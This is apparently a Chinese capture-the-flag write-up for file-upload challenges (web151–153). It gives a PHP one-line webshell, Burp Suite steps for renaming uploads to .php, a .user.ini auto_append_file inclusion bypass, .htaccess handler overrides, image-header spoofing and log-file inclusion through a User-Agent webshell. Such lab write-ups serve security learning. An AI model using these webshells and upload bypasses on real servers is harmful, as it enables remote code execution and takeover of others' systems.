一.web151-152前后端验证
-
编写一句话木马文件shell.png并抓包
一句话木马内容如下
<?php eval($_POST[1]); ?>
-
在bp中修改文件后缀:png->php
Content-Type: image/png
-
放包,上传成功。
访问/upload/shell.php
POST传参:
1=system(xxx);即可RCE。
二.web153上传.user.ini绕过
-
条件:对应目录下面有可执行的php文件,如index.php
-
配置文件
创建文件.user.ini.png,内容是auto_append_file="1.png"
auto_append_file在木马文件上传后上传
auto_prepend_file在木马文件上传前上传
原理:这样可以将当前目录中的php文件中包含1.png
-
上传该png,抓包,改包(.user.ini.png改成.user.ini),send
-
上传一句话木马1.png,抓包,send
-
放包,上传成功,访问/upload/index.php,POST传参即可RCE。
其他题型:
1.过滤了[的用{
<?=eval($_POST{1});?>
2.反引号
<?=`tac ../f*`?>
3.增加图片头
GIF89A
4.上传.htaccess文件
AddType application/x-httpd-php .jpg
5.上传免杀马
request方法传参直接url后面跟?1=ls
6.原来没有index.php
创建一个index.php,ua改成一句话木马
上传ini,可以包含日志文件,post传参rce